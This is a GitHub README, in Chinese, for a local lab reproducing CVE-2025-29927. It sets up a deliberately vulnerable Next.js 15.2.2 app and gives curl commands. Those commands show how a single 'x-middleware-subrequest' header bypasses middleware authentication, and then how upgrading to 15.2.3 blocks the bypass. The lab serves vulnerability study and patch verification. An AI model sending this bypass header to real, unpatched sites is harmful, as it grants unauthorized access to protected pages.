SwapnilDeshpande/cve-2025-29927-lab
GitHub: SwapnilDeshpande/cve-2025-29927-lab
CVE-2025-29927 Next.js middleware 授权绕过漏洞的最小化复现实验环境,用于演示和验证单个 HTTP 标头绕过身份验证的攻击链。
Stars: 0 | Forks: 0
# CVE-2025-29927 实验环境
CVE-2025-29927(Next.js middleware 授权绕过,CVSS 9.1)的最小化复现实验环境。
配套文章:[Medium 上的 N-Day 分析报告](https://medium.com/@swapjam/n-day-analysis-cve-2025-29927-how-one-http-header-bypasses-all-next-js-middleware-auth-3fe178fea580)
## 项目简介
这是一个带有 cookie 保护的 `/dashboard` 路由的 Next.js 15.2.2 应用(存在漏洞)。通过发送单个 HTTP 标头即可绕过 middleware 的身份验证检查 —— 无需任何凭据。
## 环境要求
- Node.js 18+
## 设置说明
```
git clone https://github.com/SwapnilDeshpande/cve-2025-29927-lab
cd cve-2025-29927-lab
npm install # pins to Next.js 15.2.2 (vulnerable)
npm run dev -- --port 3001
```
## 复现授权绕过
**步骤 1 — 确认 middleware 会拦截未认证的请求:**
```
curl -s -o /dev/null -w "%{http_code}" http://localhost:3001/dashboard
# → 307
```
**步骤 2 — 使用 subrequest 标头绕过 middleware:**
```
curl -s -o /dev/null -w "%{http_code}" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
http://localhost:3001/dashboard
# → 200
```
**步骤 3 — 升级到已修复版本并确认绕过方式已被拦截:**
```
npm install next@15.2.3
# 重启 dev server,然后重复步骤 2
# → 307
```
## 应用路由
| 路由 | 访问权限 |
|---|---|
| `/` | 公开 |
| `/login` | 公开 |
| `/dashboard` | 受 middleware 保护(需要 `session` cookie) |
## 受影响版本
Next.js < 15.2.3, < 14.2.25, < 13.5.9, < 12.3.5
## 参考
- [NVD — CVE-2025-29927](https://nvd.nist.gov/vuln/detail/CVE-2025-29927)
- [Next.js 修复 PR #77201](https://github.com/vercel/next.js/pull/77201)
- [漏洞源码 — sandbox.ts](https://github.com/vercel/next.js/blob/v15.2.0/packages/next/src/server/web/sandbox/sandbox.ts)
标签:CISA项目, CVE-2025-29927, MITM代理, Web安全, 数据可视化, 漏洞复现环境, 蓝队分析, 身份验证绕过